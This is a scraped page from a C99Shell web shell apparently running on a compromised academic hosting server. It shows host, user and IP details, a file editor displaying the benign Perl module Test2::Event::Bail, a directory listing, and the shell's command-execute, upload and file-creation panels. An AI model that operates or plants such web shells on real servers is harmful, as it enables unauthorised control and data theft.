67vc33-b1a78eb8b39a7a2f.ithost.pongsawadi.ac.th

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux ns1.ithost.pongsawadi.ac.th 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64 User: ithost67s46552gwdc Software: Apache IP: 161.82.130.184 PHP: 8.2.30 CURL:ON SSH2:ON Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF /usr/share/perl/5.38.2/Test2/Event/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux ns1.ithost.pongsawadi.ac.th 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64

User: ithost67s46552gwdc

Software: Apache

IP: 161.82.130.184

PHP: 8.2.30

CURL:ON SSH2:ON Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF

/usr/share/perl/5.38.2/Test2/Event/

Edit File: Bail.pm

package Test2::Event::Bail;
use strict;
use warnings;

our $VERSION = '1.302194';

BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
use Test2::Util::HashBase qw{reason buffered};

# Make sure the tests terminate
sub terminate { 255 };

sub global { 1 };

sub causes_fail { 1 }

sub summary {
    my $self = shift;
    return "Bail out!  " . $self->{+REASON}
        if $self->{+REASON};

return "Bail out!";
}

sub diagnostics { 1 }

sub facet_data {
    my $self = shift;
    my $out = $self->common_facet_data;

$out->{control} = {
        global    => 1,
        halt      => 1,
        details   => $self->{+REASON},
        terminate => 255,
    };

return $out;
}

__END__

=pod

=encoding UTF-8

=head1 NAME

Test2::Event::Bail - Bailout!

=head1 DESCRIPTION

The bailout event is generated when things go horribly wrong and you need to
halt all testing in the current file.

=head1 SYNOPSIS

use Test2::API qw/context/;
    use Test2::Event::Bail;

my $ctx = context();
    my $event = $ctx->bail('Stuff is broken');

=head1 METHODS

Inherits from L<Test2::Event>. Also defines:

=over 4

=item $reason = $e->reason

The reason for the bailout.

=back

=head1 SOURCE

The source code repository for Test2 can be found at
F<http://github.com/Test-More/test-more/>.

=head1 MAINTAINERS

=over 4

=item Chad Granum E<lt>exodist@cpan.orgE<gt>

=back

=head1 AUTHORS

=over 4

=item Chad Granum E<lt>exodist@cpan.orgE<gt>

=back

=head1 COPYRIGHT

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

See F<http://dev.perl.org/licenses/>

=cut

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
Bail.pm	1.66 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Diag.pm	1.42 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Encoding.pm	1.73 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Exception.pm	1.74 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Fail.pm	1.97 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Generic.pm	5.77 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Note.pm	1.38 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Ok.pm	3.09 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Pass.pm	1.89 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Plan.pm	3.31 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Skip.pm	1.96 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Subtest.pm	3.31 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
TAP	DIR	29.07.2025 23:45:06	0/0	drwxr-xr-x	Edit Rename
V2.pm	4.79 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download
Waiting.pm	1.21 KB	25.07.2025 17:26:40	0/0	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1774564665.265 ]--

Explain